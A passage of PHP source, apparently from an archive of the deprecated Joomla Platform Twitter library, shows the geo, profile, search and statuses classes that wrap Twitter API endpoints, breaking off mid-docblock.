* Method to get all the information about a known place.
*
* @param string $id A place in the world. These IDs can be retrieved
using getGeocode.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getPlace($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'id/:place_id');
// Set the API path
$path = '/geo/id/' . $id . '.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get up to 20 places that can be used as a place_id when
updating a status.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $accuracy A hint on the "region" in
which to search. If a number, then this is a radius in meters,
* but it can also take a string that is suffixed with ft to
specify feet.
* @param string $granularity This is the minimal granularity of
place types to return and must be one of: poi, neighborhood,
* city, admin or country.
* @param integer $maxResults A hint as to the number of results to
return.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getGeocode($lat, $long, $accuracy = null, $granularity =
null, $maxResults = 0, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'reverse_geocode');
// Set the API path
$path = '/geo/reverse_geocode.json';
// Set the request parameters
$data['lat'] = $lat;
$data['long'] = $long;
// Check if accuracy is specified
if ($accuracy)
{
$data['accuracy'] = $accuracy;
}
// Check if granularity is specified
if ($granularity)
{
$data['granularity'] = $granularity;
}
// Check if max_results is specified
if ($maxResults)
{
$data['max_results'] = $maxResults;
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to search for places that can be attached to a statuses/update.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $query Free-form text to match against while
executing a geo-based query, best suited for finding nearby
* locations by name.
* @param string $ip An IP address.
* @param string $granularity This is the minimal granularity of
place types to return and must be one of: poi, neighborhood, city,
* admin or country.
* @param string $accuracy A hint on the "region" in
which to search. If a number, then this is a radius in meters, but it can
* also take a string that is suffixed with ft to specify feet.
* @param integer $maxResults A hint as to the number of results to
return.
* @param string $within This is the place_id which you would
like to restrict the search results to.
* @param string $attribute This parameter searches for places
which have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function search($lat = null, $long = null, $query = null, $ip =
null, $granularity = null, $accuracy = null, $maxResults = 0,
$within = null, $attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'search');
// Set the API path
$path = '/geo/search.json';
// At least one of the following parameters must be provided: lat, long,
ip, or query.
if ($lat == null && $long == null && $ip == null
&& $query == null)
{
throw new RuntimeException('At least one of the following
parameters must be provided: lat, long, ip, or query.');
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if query is specified.
if ($query)
{
$data['query'] = rawurlencode($query);
}
// Check if ip is specified.
if ($ip)
{
$data['ip'] = $ip;
}
// Check if granularity is specified
if ($granularity)
{
$data['granularity'] = $granularity;
}
// Check if accuracy is specified
if ($accuracy)
{
$data['accuracy'] = $accuracy;
}
// Check if max_results is specified
if ($maxResults)
{
$data['max_results'] = $maxResults;
}
// Check if within is specified
if ($within)
{
$data['contained_within'] = $within;
}
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to locate places near the given coordinates which are similar in
name.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $name The name a place is known as.
* @param string $within This is the place_id which you would like
to restrict the search results to.
* @param string $attribute This parameter searches for places which
have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSimilarPlaces($lat, $long, $name, $within = null,
$attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'similar_places');
// Set the API path
$path = '/geo/similar_places.json';
$data['lat'] = $lat;
$data['long'] = $long;
$data['name'] = rawurlencode($name);
// Check if within is specified
if ($within)
{
$data['contained_within'] = $within;
}
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to create a new place object at the given latitude and
longitude.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $name The name a place is known as.
* @param string $geoToken The token found in the response from
geo/similar_places.
* @param string $within This is the place_id which you would like
to restrict the search results to.
* @param string $attribute This parameter searches for places which
have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createPlace($lat, $long, $name, $geoToken, $within,
$attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'place');
$data['lat'] = $lat;
$data['long'] = $long;
$data['name'] = rawurlencode($name);
$data['token'] = $geoToken;
$data['contained_within'] = $within;
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Set the API path
$path = '/geo/place.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/profile.php000064400000023725151171674140010437 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Profile class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterProfile extends JTwitterObject
{
/**
* Method to et values that users are able to set under the
"Account" tab of their settings page.
*
* @param string $name Full name associated with the profile.
Maximum of 20 characters.
* @param string $url URL associated with the profile. Will
be prepended with "http://" if not present. Maximum of 100
characters.
* @param string $location The city or country describing where
the user of the account is located. The contents are not normalized
* or geocoded in any way. Maximum of 30 characters.
* @param string $description A description of the user owning the
account. Maximum of 160 characters.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1
statuses will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfile($name = null, $url = null, $location = null,
$description = null, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile');
$data = array();
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if url is specified.
if ($url)
{
$data['url'] = $url;
}
// Check if location is specified.
if ($location)
{
$data['location'] = $location;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to update the authenticating user's profile background
image. This method can also be used to enable or disable the profile
* background image.
*
* @param string $image The background image for the profile.
* @param boolean $tile Whether or not to tile the background
image.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
* @param boolean $use Determines whether to display the
profile background image or not.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileBackgroundImage($image = null, $tile = false,
$entities = null, $skipStatus = null, $use = false)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_background_image');
$data = array();
// Check if image is specified.
if ($image)
{
$data['image'] = "@{$image}";
}
// Check if url is true.
if ($tile)
{
$data['tile'] = $tile;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Check if use is true.
if ($use)
{
$data['use'] = $use;
}
// Set the API path
$path = '/account/update_profile_background_image.json';
$header = array('Content-Type' =>
'multipart/form-data', 'Expect' => '');
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to update the authenticating user's profile image.
*
* @param string $image The background image for the profile.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileImage($image = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_image');
$data = array();
// Check if image is specified.
if ($image)
{
$data['image'] = "@{$image}";
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile_image.json';
$header = array('Content-Type' =>
'multipart/form-data', 'Expect' => '');
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to set one or more hex values that control the color scheme of
the authenticating user's profile page on twitter.com.
*
* @param string $background Profile background color.
* @param string $link Profile link color.
* @param string $sidebarBorder Profile sidebar's border color.
* @param string $sidebarFill Profile sidebar's fill color.
* @param string $text Profile text color.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1
statuses will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileColors($background = null, $link = null,
$sidebarBorder = null, $sidebarFill = null, $text = null,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_colors');
$data = array();
// Check if background is specified.
if ($background)
{
$data['profile_background_color'] = $background;
}
// Check if link is specified.
if ($link)
{
$data['profile_link_color'] = $link;
}
// Check if sidebar_border is specified.
if ($sidebarBorder)
{
$data['profile_sidebar_border_color'] = $sidebarBorder;
}
// Check if sidebar_fill is specified.
if ($sidebarFill)
{
$data['profile_sidebar_fill_color'] = $sidebarFill;
}
// Check if text is specified.
if ($text)
{
$data['profile_text_color'] = $text;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is true.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile_colors.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the settings (including current trend, geo and sleep time
information) for the authenticating user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSettings()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account', 'settings');
// Set the API path
$path = '/account/settings.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to update the authenticating user's settings.
*
* @param integer $location The Yahoo! Where On Earth ID to use as
the user's default trend location.
* @param boolean $sleepTime When set to true, t or 1, will enable
sleep time for the user.
* @param integer $startSleep The hour that sleep time should begin if
it is enabled.
* @param integer $endSleep The hour that sleep time should end if
it is enabled.
* @param string $timeZone The timezone dates and times should be
displayed in for the user. The timezone must be one of the
* Rails TimeZone names.
* @param string $lang The language which Twitter should render
in for this user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateSettings($location = null, $sleepTime = false,
$startSleep = null, $endSleep = null,
$timeZone = null, $lang = null)
{
$data = array();
// Check if location is specified.
if ($location)
{
$data['trend_location_woeid '] = $location;
}
// Check if sleep_time is true.
if ($sleepTime)
{
$data['sleep_time_enabled'] = $sleepTime;
}
// Check if start_sleep is specified.
if ($startSleep)
{
$data['start_sleep_time'] = $startSleep;
}
// Check if end_sleep is specified.
if ($endSleep)
{
$data['end_sleep_time'] = $endSleep;
}
// Check if time_zone is specified.
if ($timeZone)
{
$data['time_zone'] = $timeZone;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Set the API path
$path = '/account/settings.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
twitter/search.php000064400000013072151171674140010236 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Search class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwittersearch extends JTwitterObject
{
/**
* Method to get tweets that match a specified query.
*
* @param string $query Search query. Should be URL encoded.
Queries will be limited by complexity.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name
* @param string $geocode Returns tweets by users located within a
given radius of the given latitude/longitude. The parameter value is
* specified by "latitude,longitude,radius", where
radius units must be specified as either "mi" (miles) or
"km" (kilometers).
* @param string $lang Restricts tweets to the given language,
given by an ISO 639-1 code.
* @param string $locale Specify the language of the query you
are sending (only ja is currently effective). This is intended for
* language-specific clients and the default should work in the
majority of cases.
* @param string $resultType Specifies what type of search results
you would prefer to receive. The current default is "mixed."
* @param integer $count The number of tweets to return per page,
up to a maximum of 100. Defaults to 15.
* @param string $until Returns tweets generated before the
given date. Date should be formatted as YYYY-MM-DD.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discrete structure,
including: urls, media and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function search($query, $callback = null, $geocode = null, $lang =
null, $locale = null, $resultType = null, $count = 15,
$until = null, $sinceId = 0, $maxId = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('search', 'tweets');
// Set the API path
$path = '/search/tweets.json';
// Set query parameter.
$data['q'] = rawurlencode($query);
// Check if callback is specified.
if ($callback)
{
$data['callback'] = $callback;
}
// Check if geocode is specified.
if ($geocode)
{
$data['geocode'] = $geocode;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Check if locale is specified.
if ($locale)
{
$data['locale'] = $locale;
}
// Check if result_type is specified.
if ($resultType)
{
$data['result_type'] = $resultType;
}
// Check if count is specified.
if ($count != 15)
{
$data['count'] = $count;
}
// Check if until is specified.
if ($until)
{
$data['until'] = $until;
}
// Check if since_id is specified.
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the authenticated user's saved search queries.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSavedSearches()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches', 'list');
// Set the API path
$path = '/saved_searches/list.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the information for the saved search represented by the
given id.
*
* @param integer $id The ID of the saved search.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSavedSearchesById($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches',
'show/:id');
// Set the API path
$path = '/saved_searches/show/' . $id . '.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to create a new saved search for the authenticated user.
*
* @param string $query The query of the search the user would like to
save.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createSavedSearch($query)
{
// Set the API path
$path = '/saved_searches/create.json';
// Set POST request data
$data['query'] = rawurlencode($query);
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to delete a saved search for the authenticating user.
*
* @param integer $id The ID of the saved search.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteSavedSearch($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches',
'destroy/:id');
// Set the API path
$path = '/saved_searches/destroy/' . $id . '.json';
// Send the request.
return $this->sendRequest($path, 'POST');
}
}
twitter/statuses.php000064400000052126151171674140010647 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Statuses class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterStatuses extends JTwitterObject
{
/**
* Method to get a single tweet with the given ID.
*
* @param integer $id The ID of the tweet to retrieve.
* @param boolean $trimUser When set to true, each tweet returned in
a timeline will include a user object including only
* the status author's numerical ID.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $myRetweet When set to either true, t or 1, any
statuses returned that have been retweeted by the authenticating user will
* include an additional
current_user_retweet node, containing the ID of the source status for the
retweet.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getTweetById($id, $trimUser = null, $entities = null,
$myRetweet = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses', 'show/:id');
// Set the API base
$path = '/statuses/show/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if my_retweet is specified
if (!is_null($myRetweet))
{
$data['include_my_retweet'] = $myRetweet;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to retrieve the latest statuses from the specified user
timeline.
*
* @param mixed $user Either an integer containing the user
ID or a string containing the screen name.
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested
to set $includeRts to true
* @param boolean $includeRts When set to true, the timeline will
contain native retweets in addition to the standard stream of tweets.
* @param boolean $noReplies This parameter will prevent replies
from appearing in the returned timeline. This parameter is only supported
* for JSON and XML responses.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
* @param boolean $contributor This parameter enhances the
contributors element of the status response to include the screen_name of
the
* contributor. By default only the
user_id of the contributor is included.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUserTimeline($user, $count = 20, $includeRts = null,
$noReplies = null, $sinceId = 0, $maxId = 0, $trimUser = null,
$contributor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'user_timeline');
$data = array();
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API base
$path = '/statuses/user_timeline.json';
// Set the count string
$data['count'] = $count;
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Check if no_replies is specified
if (!is_null($noReplies))
{
$data['exclude_replies'] = $noReplies;
}
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if contributor details is specified
if (!is_null($contributor))
{
$data['contributor_details'] = $contributor;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to post a tweet.
*
* @param string $status The text of the tweet.
* @param integer $inReplyToStatusId The ID of an existing status
that the update is in reply to.
* @param float $lat The latitude of the location
this tweet refers to.
* @param float $long The longitude of the location
this tweet refers to.
* @param string $placeId A place in the world.
* @param boolean $displayCoordinates Whether or not to put a pin on
the exact coordinates a tweet has been sent from.
* @param boolean $trimUser When set to true, each tweet
returned in a timeline will include a user object including only
* the status author's
numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function tweet($status, $inReplyToStatusId = null, $lat = null,
$long = null, $placeId = null, $displayCoordinates = null,
$trimUser = null)
{
// Set the API base.
$path = '/statuses/update.json';
// Set POST data.
$data = array('status' => utf8_encode($status));
// Check if in_reply_to_status_id is specified.
if ($inReplyToStatusId)
{
$data['in_reply_to_status_id'] = $inReplyToStatusId;
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if place_id is specified.
if ($placeId)
{
$data['place_id'] = $placeId;
}
// Check if display_coordinates is specified.
if (!is_null($displayCoordinates))
{
$data['display_coordinates'] = $displayCoordinates;
}
// Check if trim_user is specified.
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to retrieve the most recent mentions for the authenticating
user.
*
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested
to set $includeRts to true
* @param boolean $includeRts When set to true, the timeline will
contain native retweets in addition to the standard stream of tweets.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet
structure, including: user_mentions, urls, and hashtags.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
* @param string $contributor This parameter enhances the
contributors element of the status response to include the screen_name
* of the contributor.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getMentions($count = 20, $includeRts = null, $entities =
null, $sinceId = 0, $maxId = 0,
$trimUser = null, $contributor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'mentions_timeline');
// Set the API base
$path = '/statuses/mentions_timeline.json';
// Set the count string
$data['count'] = $count;
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if contributor is specified
if (!is_null($contributor))
{
$data['contributor_details'] = $contributor;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the most recent tweets of the authenticated user that
have been retweeted by others.
*
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always
suggested to set $includeRts to true
* @param integer $sinceId Returns results with an ID greater
than (that is, more recent than) the specified ID.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet
structure, including: user_mentions, urls, and hashtags.
* @param boolean $userEntities The user entities node will be
disincluded when set to false.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweetsOfMe($count = 20, $sinceId = 0, $entities =
null, $userEntities = null, $maxId = 0, $trimUser = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'retweets_of_me');
// Set the API path
$path = '/statuses/retweets_of_me.json';
// Set the count string
$data['count'] = $count;
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if entities is specified
if (!is_null($userEntities))
{
$data['include_user_entities'] = $userEntities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to show user objects of up to 100 members who retweeted the
status.
*
* @param integer $id The numerical ID of the desired
status.
* @param integer $count Specifies the number of retweets to
try and retrieve, up to a maximum of 100.
* @param integer $cursor Causes the list of IDs to be broken
into pages of no more than 100 IDs at a time.
* The number of IDs returned is not
guaranteed to be 100 as suspended users are
* filtered out after connections are
queried. If no cursor is provided, a value of
* -1 will be assumed, which is the first
"page."
* @param boolean $stringifyIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweeters($id, $count = 20, $cursor = null,
$stringifyIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'retweeters/ids');
// Set the API path
$path = '/statuses/retweeters/ids.json';
// Set the status id.
$data['id'] = $id;
// Set the count string
$data['count'] = $count;
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if entities is specified
if (!is_null($stringifyIds))
{
$data['stringify_ids'] = $stringifyIds;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get up to 100 of the first retweets of a given tweet.
*
* @param integer $id The numerical ID of the desired status.
* @param integer $count Specifies the number of tweets to try and
retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested to
set $includeRts to true
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweetsById($id, $count = 20, $trimUser = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses', 'retweets/:id');
// Set the API path
$path = '/statuses/retweets/' . $id . '.json';
// Set the count string
$data['count'] = $count;
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to delete the status specified by the required ID parameter.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteTweet($id, $trimUser = null)
{
// Set the API path
$path = '/statuses/destroy/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to retweet a tweet.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function retweet($id, $trimUser = null)
{
// Set the API path
$path = '/statuses/retweet/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to post a tweet with media.
*
* @param string $status The text of the tweet.
* @param string $media File to upload
* @param integer $inReplyToStatusId The ID of an existing status
that the update is in reply to.
* @param float $lat The latitude of the location
this tweet refers to.
* @param float $long The longitude of the location
this tweet refers to.
* @param string $placeId A place in the world.
* @param boolean $displayCoordinates Whether or not to put a pin on
the exact coordinates a tweet has been sent from.
* @param boolean $sensitive Set to true for content which
may not be suitable for every audience.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function tweetWithMedia($status, $media, $inReplyToStatusId = null,
$lat = null, $long = null, $placeId = null,
$displayCoordinates = null, $sensitive = null)
{
// Set the API request path.
$path = '/statuses/update_with_media.json';
// Set POST data.
$data = array(
'status' => utf8_encode($status),
'media[]' => "@{$media}",
);
$header = array('Content-Type' =>
'multipart/form-data');
// Check if in_reply_to_status_id is specified.
if (!is_null($inReplyToStatusId))
{
$data['in_reply_to_status_id'] = $inReplyToStatusId;
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if place_id is specified.
if ($placeId)
{
$data['place_id'] = $placeId;
}
// Check if display_coordinates is specified.
if (!is_null($displayCoordinates))
{
$data['display_coordinates'] = $displayCoordinates;
}
// Check if sensitive is specified.
if (!is_null($sensitive))
{
$data['possibly_sensitive'] = $sensitive;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to get information allowing the creation of an embedded
representation of a Tweet on third party sites.
* Note: either the id or url parameters must be specified in a request.
It is not necessary to include both.
*
* @param integer $id The Tweet/status ID to return embed code
for.
* @param string $url The URL of the Tweet/status to be
embedded.
* @param integer $maxWidth The maximum width in pixels that the
embed should be rendered at. This value is constrained to be
* between 250 and 550 pixels.
* @param boolean $hideMedia Specifies whether the embedded Tweet
should automatically expand images which were uploaded via
* POST statuses/update_with_media.
* @param boolean $hideThread Specifies whether the embedded Tweet
should automatically show the original message in the case that
* the embedded Tweet is a reply.
* @param boolean $omitScript Specifies whether the embedded Tweet
HTML should include a `<script>` element pointing to widgets.js.
* In cases where a page already includes
widgets.js, setting this value to true will prevent a redundant
